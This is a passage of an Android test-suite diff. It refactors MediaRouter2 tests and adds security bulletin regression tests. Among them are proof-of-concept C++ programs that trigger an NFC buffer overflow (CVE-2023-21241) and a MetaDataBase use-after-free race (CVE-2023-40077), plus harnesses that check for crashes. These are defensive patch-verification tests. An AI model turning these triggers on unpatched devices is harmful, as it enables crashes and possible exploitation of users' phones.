@ApiTest(apis = {"android.media.RouteListingPreference, android.media.MediaRouter2"})
@Test
public void setRouteListingPreference_propagatesToManager() {
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation()
+ .adoptShellPermissionIdentity(Manifest.permission.MEDIA_CONTENT_CONTROL);
+
+ MediaRouter2 router = MediaRouter2.getInstance(mContext);
+ MediaRouter2Manager manager = MediaRouter2Manager.getInstance(mContext);
+
List<RouteListingPreference.Item> items =
List.of(
new RouteListingPreference.Item.Builder(ROUTE_ID_APP_1_ROUTE_1)
@@ -236,8 +245,8 @@
.build();
MediaRouter2ManagerCallbackImpl mediaRouter2ManagerCallback =
new MediaRouter2ManagerCallbackImpl();
- mRouter2Manager.registerCallback(Runnable::run, mediaRouter2ManagerCallback);
- mRouter2.setRouteListingPreference(routeListingPreference);
+ manager.registerCallback(Runnable::run, mediaRouter2ManagerCallback);
+ router.setRouteListingPreference(routeListingPreference);
mediaRouter2ManagerCallback.waitForRouteListingPreferenceUpdateOnManager();
RouteListingPreference receivedRouteListingPreference =
mediaRouter2ManagerCallback.mRouteListingPreference;
@@ -245,8 +254,7 @@
Truth.assertThat(receivedRouteListingPreference)
.isNotSameInstanceAs(routeListingPreference);
Truth.assertThat(receivedRouteListingPreference)
- .isSameInstanceAs(
- mRouter2Manager.getRouteListingPreference(mContext.getPackageName()));
+ .isSameInstanceAs(manager.getRouteListingPreference(mContext.getPackageName()));
Truth.assertThat(receivedRouteListingPreference.getUseSystemOrdering()).isFalse();
Truth.assertThat(receivedRouteListingPreference.getItems().get(0).getFlags())
.isEqualTo(RouteListingPreference.Item.FLAG_ONGOING_SESSION);
@@ -262,7 +270,7 @@
// Check that null is also propagated correctly.
mediaRouter2ManagerCallback.closeRouteListingPreferenceWaitingCondition();
- mRouter2.setRouteListingPreference(null);
+ router.setRouteListingPreference(null);
mediaRouter2ManagerCallback.waitForRouteListingPreferenceUpdateOnManager();
Truth.assertThat(mediaRouter2ManagerCallback.mRouteListingPreference).isNull();
}
@@ -270,6 +278,13 @@
@ApiTest(apis = {"android.media.RouteListingPreference, android.media.MediaRouter2"})
@Test
public void setRouteListingPreference_withCustomDisableReason_propagatesCorrectly() {
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation()
+ .adoptShellPermissionIdentity(Manifest.permission.MEDIA_CONTENT_CONTROL);
+
+ MediaRouter2 router = MediaRouter2.getInstance(mContext);
+ MediaRouter2Manager manager = MediaRouter2Manager.getInstance(mContext);
+
List<RouteListingPreference.Item> item =
List.of(
new RouteListingPreference.Item.Builder(ROUTE_ID_APP_1_ROUTE_1)
@@ -280,9 +295,9 @@
new RouteListingPreference.Builder().setItems(item).build();
MediaRouter2ManagerCallbackImpl mediaRouter2ManagerCallback =
new MediaRouter2ManagerCallbackImpl();
- mRouter2Manager.registerCallback(Runnable::run, mediaRouter2ManagerCallback);
+ manager.registerCallback(Runnable::run, mediaRouter2ManagerCallback);
- mRouter2.setRouteListingPreference(routeListingPreference);
+ router.setRouteListingPreference(routeListingPreference);
mediaRouter2ManagerCallback.waitForRouteListingPreferenceUpdateOnManager();
RouteListingPreference receivedRouteListingPreference =
mediaRouter2ManagerCallback.mRouteListingPreference;
@@ -314,6 +329,10 @@
@Test
public void getInstance_findsExternalPackage() {
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation()
+ .adoptShellPermissionIdentity(Manifest.permission.MEDIA_CONTENT_CONTROL);
+
MediaRouter2 systemRouter =
MediaRouter2.getInstance(mContext, MEDIA_ROUTER_PROVIDER_1_PACKAGE);
Truth.assertThat(systemRouter).isNotNull();
@@ -323,6 +342,7 @@
@Test
public void visibilityAndAllowedPackages_propagateAcrossApps() throws TimeoutException {
launchScreenOnActivity();
+ MediaRouter2 router = MediaRouter2.getInstance(mContext);
RouteDiscoveryPreference preference =
new RouteDiscoveryPreference.Builder(
@@ -332,6 +352,7 @@
// we know the update should contain all the routes from each helper app.
Map<String, MediaRoute2Info> routes =
waitForAndGetRoutes(
+ router,
preference,
Set.of(
ROUTE_ID_APP_1_ROUTE_1,
@@ -353,6 +374,8 @@
@Test
public void getRoutes_withoutBTPermissions_returnsDefaultRoute() throws TimeoutException {
+ MediaRouter2 router = MediaRouter2.getInstance(mContext);
+
assertThat(mContext.checkCallingOrSelfPermission(Manifest.permission.MODIFY_AUDIO_ROUTING))
.isEqualTo(PackageManager.PERMISSION_DENIED);
assertThat(mContext.checkCallingOrSelfPermission(Manifest.permission.BLUETOOTH_SCAN))
@@ -362,6 +385,7 @@
assertThat(
waitForAndGetRoutes(
+ router,
SYSTEM_ROUTE_DISCOVERY_PREFERENCE,
/* expectedRouteIds= */ Set.of(
MediaRoute2Info.ROUTE_ID_DEFAULT))
@@ -371,6 +395,8 @@
@Test
public void getRoutes_withBTPermissions_returnsDeviceRoute() throws TimeoutException {
+ MediaRouter2 router = MediaRouter2.getInstance(mContext);
+
assertThat(mContext.checkCallingOrSelfPermission(Manifest.permission.MODIFY_AUDIO_ROUTING))
.isEqualTo(PackageManager.PERMISSION_DENIED);
@@ -381,6 +407,7 @@
assertThat(
waitForAndGetRoutes(
+ router,
SYSTEM_ROUTE_DISCOVERY_PREFERENCE,
/* expectedRouteIds= */ Set.of(ROUTE_ID_BUILTIN_SPEAKER))
.keySet())
@@ -389,6 +416,8 @@
@Test
public void getSystemController_withBTPermissions_returnsDeviceRoute() {
+ MediaRouter2 router = MediaRouter2.getInstance(mContext);
+
assertThat(mContext.checkCallingOrSelfPermission(Manifest.permission.MODIFY_AUDIO_ROUTING))
.isEqualTo(PackageManager.PERMISSION_DENIED);
@@ -397,7 +426,7 @@
assertThat(mContext.checkCallingOrSelfPermission(Manifest.permission.BLUETOOTH_CONNECT))
.isEqualTo(PackageManager.PERMISSION_GRANTED);
- MediaRouter2.RoutingController systemController = mRouter2.getSystemController();
+ MediaRouter2.RoutingController systemController = router.getSystemController();
assertThat(systemController.getSelectedRoutes())
.comparingElementsUsing(ROUTE_HAS_ORIGINAL_ID)
.containsExactly(ROUTE_ID_BUILTIN_SPEAKER);
@@ -405,6 +434,8 @@
@Test
public void getSystemController_withoutBTPermissions_returnsDefaultRoute() {
+ MediaRouter2 router = MediaRouter2.getInstance(mContext);
+
assertThat(mContext.checkCallingOrSelfPermission(Manifest.permission.MODIFY_AUDIO_ROUTING))
.isEqualTo(PackageManager.PERMISSION_DENIED);
assertThat(mContext.checkCallingOrSelfPermission(Manifest.permission.BLUETOOTH_SCAN))
@@ -412,7 +443,7 @@
assertThat(mContext.checkCallingOrSelfPermission(Manifest.permission.BLUETOOTH_CONNECT))
.isEqualTo(PackageManager.PERMISSION_DENIED);
- MediaRouter2.RoutingController systemController = mRouter2.getSystemController();
+ MediaRouter2.RoutingController systemController = router.getSystemController();
assertThat(systemController.getSelectedRoutes())
.comparingElementsUsing(ROUTE_HAS_ORIGINAL_ID)
.containsExactly(MediaRoute2Info.ROUTE_ID_DEFAULT);
@@ -422,6 +453,7 @@
@Test
public void selfScanOnlyProvider_notScannedByAnotherApp() {
launchScreenOnActivity();
+ MediaRouter2 router = MediaRouter2.getInstance(mContext);
RouteDiscoveryPreference preference =
new RouteDiscoveryPreference.Builder(
@@ -432,6 +464,7 @@
TimeoutException.class,
() ->
waitForAndGetRoutes(
+ router,
preference,
/* expectedRouteIds= */ Set.of(ROUTE_ID_SELF_SCAN_ONLY)));
}
@@ -442,8 +475,8 @@
*
* <p>Will only wait for up to {@link #ROUTE_UPDATE_MAX_WAIT_MS}.
*/
- private Map<String, MediaRoute2Info> waitForAndGetRoutes(
- RouteDiscoveryPreference preference, Set<String> expectedRouteIds)
+ private static Map<String, MediaRoute2Info> waitForAndGetRoutes(
+ MediaRouter2 router, RouteDiscoveryPreference preference, Set<String> expectedRouteIds)
throws TimeoutException {
ConditionVariable condition = new ConditionVariable();
MediaRouter2.RouteCallback routeCallback =
@@ -460,10 +493,10 @@
}
};
- mRouter2.registerRouteCallback(
+ router.registerRouteCallback(
Executors.newSingleThreadExecutor(), routeCallback, preference);
Set<String> currentRoutes =
- mRouter2.getRoutes().stream()
+ router.getRoutes().stream()
.map(MediaRoute2Info::getOriginalId)
.collect(Collectors.toSet());
try {
@@ -474,16 +507,16 @@
+ ROUTE_UPDATE_MAX_WAIT_MS
+ " milliseconds.");
}
- return mRouter2.getRoutes().stream()
+ return router.getRoutes().stream()
.collect(Collectors.toMap(MediaRoute2Info::getOriginalId, Function.identity()));
} finally {
- mRouter2.unregisterRouteCallback(routeCallback);
+ router.unregisterRouteCallback(routeCallback);
}
}
private class MediaRouter2ManagerCallbackImpl implements MediaRouter2Manager.Callback {
- private ConditionVariable mConditionVariable = new ConditionVariable();
+ private final ConditionVariable mConditionVariable = new ConditionVariable();
private RouteListingPreference mRouteListingPreference;
public void closeRouteListingPreferenceWaitingCondition() {
diff --git a/hostsidetests/media/app/MediaRouterWithBTPermissionsApp/src/android/media/router/cts/bluetoothpermissionsapp/ScanningActivity.java b/hostsidetests/media/app/MediaRouterWithBTPermissionsApp/src/android/media/router/cts/bluetoothpermissionsapp/ScanningActivity.java
new file mode 100644
index 0000000..bf1dac3
--- /dev/null
+++ b/hostsidetests/media/app/MediaRouterWithBTPermissionsApp/src/android/media/router/cts/bluetoothpermissionsapp/ScanningActivity.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.router.cts.bluetoothpermissionsapp;
+
+import android.annotation.Nullable;
+import android.app.Activity;
+import android.media.MediaRouter2;
+import android.media.RouteDiscoveryPreference;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+import java.util.List;
+
+/**
+ * Keeps the screen on and registers a scan request for the duration of its lifecycle.
+ *
+ * <p>Note that the screen must remain on in order to prevent the system server from discarding this
+ * app's scan request due to low package importance.
+ */
+public final class ScanningActivity extends Activity {
+
+ @Nullable private MediaRouter2 mMediaRouter2;
+ private static final MediaRouter2.RouteCallback EMPTY_CALLBACK =
+ new MediaRouter2.RouteCallback() {};
+
+ @Override
+ public void onCreate(Bundle bundle) {
+ super.onCreate(bundle);
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+ setTurnScreenOn(true);
+ setShowWhenLocked(true);
+ mMediaRouter2 = MediaRouter2.getInstance(this);
+ mMediaRouter2.registerRouteCallback(
+ /* executor= */ Runnable::run,
+ EMPTY_CALLBACK,
+ new RouteDiscoveryPreference.Builder(
+ /* preferredFeatures= */ List.of("foo"), /* activeScan= */ true)
+ .build());
+ }
+
+ @Override
+ protected void onDestroy() {
+ if (mMediaRouter2 != null) {
+ mMediaRouter2.unregisterRouteCallback(EMPTY_CALLBACK);
+ mMediaRouter2.stopScan();
+ mMediaRouter2 = null;
+ }
+ super.onDestroy();
+ }
+}
diff --git a/hostsidetests/media/src/android/media/router/cts/MediaRouter2HostSideTest.java b/hostsidetests/media/src/android/media/router/cts/MediaRouter2HostSideTest.java
index db9f9ec..5ec9445 100644
--- a/hostsidetests/media/src/android/media/router/cts/MediaRouter2HostSideTest.java
+++ b/hostsidetests/media/src/android/media/router/cts/MediaRouter2HostSideTest.java
@@ -35,9 +35,13 @@
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.RequiresDevice;
+import android.platform.test.annotations.RequiresFlagsEnabled;
+import android.platform.test.flag.junit.CheckFlagsRule;
+import android.platform.test.flag.junit.host.HostFlagsValueProvider;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.compatibility.common.util.ApiTest;
+import com.android.media.flags.Flags;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.invoker.TestInformation;
@@ -50,6 +54,7 @@
import com.google.common.truth.Expect;
import org.junit.ClassRule;
+import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -59,8 +64,15 @@
@RunWith(DeviceJUnit4ClassRunner.class)
public class MediaRouter2HostSideTest extends BaseHostJUnit4Test {
+ /** The maximum period of time to wait for a scan request to take effect, in milliseconds. */
+ private static final long WAIT_MS_SCAN_PROPAGATION = 3000;
+
@ClassRule public static final Expect expect = Expect.create();
+ @Rule
+ public final CheckFlagsRule mCheckFlagsRule =
+ HostFlagsValueProvider.createCheckFlagsRule(this::getDevice);
+
@BeforeClassWithInfo
public static void installApps(TestInformation testInfo)
throws DeviceNotAvailableException, FileNotFoundException {
@@ -268,6 +280,40 @@
"selfScanOnlyProvider_notScannedByAnotherApp");
}
+ @ApiTest(apis = {"android.media.MediaRouter2ProviderService#onBind"})
+ @AppModeFull
+ @RequiresDevice
+ @RequiresFlagsEnabled(Flags.FLAG_ENABLE_PREVENTION_OF_KEEP_ALIVE_ROUTE_PROVIDERS)
+ @Test
+ public void providerServiceDoesNotAutoBindAfterCrashing() throws Throwable {
+ String startActivityCommand =
+ "am start %s/.ScanningActivity".formatted(MEDIA_ROUTER_TEST_PACKAGE);
+ getDevice().executeShellCommand(startActivityCommand);
+
+ boolean providerStarted =
+ waitForPackageRunningStatus(
+ MEDIA_ROUTER_PROVIDER_1_PACKAGE, /* isPackageExpectedToRun= */ true);
+ assertWithMessage("Provider did not start after starting the scanning activity.")
+ .that(providerStarted)
+ .isTrue();
+
+ getDevice().executeShellCommand("am force-stop " + MEDIA_ROUTER_PROVIDER_1_PACKAGE);
+
+ boolean providerStopped =
+ waitForPackageRunningStatus(
+ MEDIA_ROUTER_PROVIDER_1_PACKAGE, /* isPackageExpectedToRun= */ false);
+ assertWithMessage("Provider did not stop after force-stopping it.")
+ .that(providerStopped)
+ .isTrue();
+
+ boolean providerRestarted =
+ waitForPackageRunningStatus(
+ MEDIA_ROUTER_PROVIDER_1_PACKAGE, /* isPackageExpectedToRun= */ true);
+ assertWithMessage("Provider restarted after force-stopping it.")
+ .that(providerRestarted)
+ .isFalse();
+ }
+
private void setPermissionEnabled(String packageName, String permission, boolean enabled)
throws DeviceNotAvailableException {
String action = enabled ? "grant" : "revoke";
@@ -281,6 +327,29 @@
}
}
+ /**
+ * Blocks execution until the package with the given name has the given running status.
+ *
+ * @param packageName The name of the package to check the running status for.
+ * @param isPackageExpectedToRun True if the expected running status is "running", and false if
+ * the expected running status is "not running".
+ */
+ private boolean waitForPackageRunningStatus(String packageName, boolean isPackageExpectedToRun)
+ throws Throwable {
+ long start = System.currentTimeMillis();
+ while (isPackageRunning(packageName) != isPackageExpectedToRun) {
+ if (System.currentTimeMillis() - start > WAIT_MS_SCAN_PROPAGATION) {
+ return false;
+ }
+ Thread.sleep(/* millis= */ 200); // Wait a bit before we call adb again.
+ }
+ return true;
+ }
+
+ private boolean isPackageRunning(String packageName) throws DeviceNotAvailableException {
+ return !getDevice().executeShellCommand("pidof " + packageName).isEmpty();
+ }
+
private static void installTestApp(TestInformation testInfo, String apkName)
throws FileNotFoundException, DeviceNotAvailableException {
LogUtil.CLog.d("Installing app " + apkName);
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2023-21241/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2023-21241/Android.bp
new file mode 100644
index 0000000..01008b48
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2023-21241/Android.bp
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2023-21241",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ include_dirs: [
+ "cts/hostsidetests/securitybulletin/securityPatch/includes",
+ "system/nfc/src/nfc/include",
+ "system/nfc/src/include",
+ "system/nfc/src/gki/common",
+ "system/nfc/src/gki/ulinux",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2023-21241/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2023-21241/poc.cpp
new file mode 100644
index 0000000..a235851
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2023-21241/poc.cpp
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+#include "nfc_types.h"
+#include "rw_int.h"
+#include "sys/types.h"
+#include "tags_defs.h"
+#include <stdint.h>
+#include <sys/sysinfo.h>
+#include <vector>
+
+void rw_i93_send_to_upper(NFC_HDR *p_resp);
+
+struct sysinfo memInfo;
+extern tRW_CB rw_cb;
+std ::vector<uint8_t> p_buff;
+std ::vector<uint8_t> v_pmsg;
+char enable_selective_overload = ENABLE_NONE;
+
+void poc_cback(tRW_EVENT /* event */, tRW_DATA * /* p_rw_data */) {}
+
+void *GKI_getbuf(uint16_t size) {
+ enable_selective_overload = ENABLE_ALL;
+ p_buff.resize(size);
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+ return (void *)p_buff.data();
+}
+
+int main() {
+ // Check if there is structure mismatch between testing library and the
+ // library that is being tested
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+ GKI_init();
+ rw_init();
+
+ // find the free memory available
+ sysinfo(&memInfo);
+ unsigned long long freeVirtualMem = memInfo.freeram;
+ freeVirtualMem += memInfo.freeswap;
+ freeVirtualMem *= memInfo.mem_unit;
+ FAIL_CHECK((sizeof(NFC_HDR) + UINT16_MAX) < freeVirtualMem * 0.8);
+
+ // Call rw_i93_send_to_upper() with large value of p_msg->len
+ v_pmsg.resize(sizeof(NFC_HDR) + UINT16_MAX);
+ NFC_HDR *p_msg = (NFC_HDR *)v_pmsg.data();
+ rw_cb.tcb.i93.sent_cmd = I93_CMD_READ_SINGLE_BLOCK;
+ p_msg->offset = 0;
+ p_msg->len = UINT16_MAX;
+ rw_cb.p_cback = &poc_cback;
+ rw_i93_send_to_upper(p_msg);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2023-40077/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2023-40077/Android.bp
new file mode 100644
index 0000000..e1f0ea7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2023-40077/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2023-40077",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ shared_libs: [
+ "libutils",
+ "libmedia",
+ "libstagefright_foundation",
+ "libdatasource",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2023-40077/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2023-40077/poc.cpp
new file mode 100644
index 0000000..f68b9d7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2023-40077/poc.cpp
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+#include <media/stagefright/MetaDataBase.h>
+#include <pthread.h>
+
+using namespace android;
+using namespace std;
+
+char enable_selective_overload = ENABLE_NONE;
+const int maxValue = 100000;
+
+void *even_thread(void *metaDataBase) {
+ MetaDataBase *metaDataBaseObj = (MetaDataBase *)metaDataBase;
+ for (int i = 0; i <= maxValue; i += 2) {
+ metaDataBaseObj->setInt32(i, i);
+ }
+ return nullptr;
+}
+
+void *odd_thread(void *metaDataBase) {
+ MetaDataBase *metaDataBaseObj = (MetaDataBase *)metaDataBase;
+ for (int i = 1; i <= maxValue; i += 2) {
+ metaDataBaseObj->setInt32(i, i);
+ }
+ return nullptr;
+}
+
+int main() {
+ MetaDataBase metaDataBase = MetaDataBase();
+ pthread_t even_thread_id;
+ pthread_t odd_thread_id;
+
+ enable_selective_overload = ENABLE_ALL;
+ pthread_create(&even_thread_id, nullptr, even_thread, &metaDataBase);
+ pthread_create(&odd_thread_id, nullptr, odd_thread, &metaDataBase);
+
+ // Wait for the threads to finish
+ pthread_join(even_thread_id, nullptr);
+ pthread_join(odd_thread_id, nullptr);
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21131.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21131.java
new file mode 100644
index 0000000..c382140
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21131.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_21131 extends NonRootSecurityTestCase {
+
+ @AsbSecurityTest(cveBugId = 238108059)
+ @Test
+ public void testPocCVE_2023_21131() {
+ try {
+ // Install the test and target apps
+ installPackage("CVE-2023-21131-test.apk");
+ installPackage("CVE-2023-21131-target.apk");
+
+ final String testPkg = "android.security.cts.CVE_2023_21131_test";
+
+ // Run the test "testCVE_2023_35669"
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2023_21131");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21241.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21241.java
new file mode 100644
index 0000000..7dae9fe
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21241.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static com.android.sts.common.NativePocCrashAsserter.assertNoCrash;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.NativePoc;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_21241 extends NonRootSecurityTestCase {
+
+ // b/271849189
+ // Vulnerability Behaviour : SIGSEGV in self
+ // Vulnerable Library: libnfc-nci (As per AOSP code)
+ // Vulnerable Function: rw_i93_send_to_upper (As per AOSP code)
+ @AsbSecurityTest(cveBugId = 271849189)
+ @Test
+ public void testPocCVE_2023_21241() {
+ try {
+ final String binaryName = "CVE-2023-21241";
+ String[] signals = {TombstoneUtils.Signals.SIGSEGV};
+
+ TombstoneUtils.Config crashConfig =
+ new TombstoneUtils.Config()
+ .setProcessPatterns(binaryName)
+ .setBacktraceIncludes(
+ new BacktraceFilterPattern(
+ "libnfc-nci", "rw_i93_send_to_upper"))
+ .setSignals(signals);
+
+ NativePoc.builder()
+ .pocName(binaryName)
+ .asserter(assertNoCrash(crashConfig))
+ .build()
+ .run(this);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40077.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40077.java
new file mode 100644
index 0000000..dfe1624
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40077.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static com.android.sts.common.NativePocCrashAsserter.assertNoCrash;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.NativePoc;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_40077 extends NonRootSecurityTestCase {
+
+ // b/298057702
+ // Vulnerability Behaviour: SIGSEGV in self due to use-after-free
+ // Vulnerable Library: libstagefright_foundation (As per AOSP code)
+ // Vulnerable Function(s): MetaDataBase::setData (As per AOSP code)
+ @AsbSecurityTest(cveBugId = 298057702)
+ @Test
+ public void testPocCVE_2023_40077() {
+ try {
+ final String library = "libstagefright_foundation";
+ final String binaryName = "CVE-2023-40077";
+ String[] signals = {TombstoneUtils.Signals.SIGSEGV};
+ TombstoneUtils.Config crashConfig =
+ new TombstoneUtils.Config()
+ .setProcessPatterns(binaryName)
+ .setBacktraceIncludes(
+ new BacktraceFilterPattern(library, "MetaDataBase::setData"))
+ .setSignals(signals)
+ .setIgnoreLowFaultAddress(true);
+ NativePoc poc =
+ NativePoc.builder()
+ .pocName(binaryName)
+ .asserter(assertNoCrash(crashConfig))
+ .build();
+ // Time taken for poc to complete is around 3 seconds. Hence choosing the timeout as
+ // 30 seconds to facilitate a minimum of 10 runs.
+ final long timeout = 30_000L;
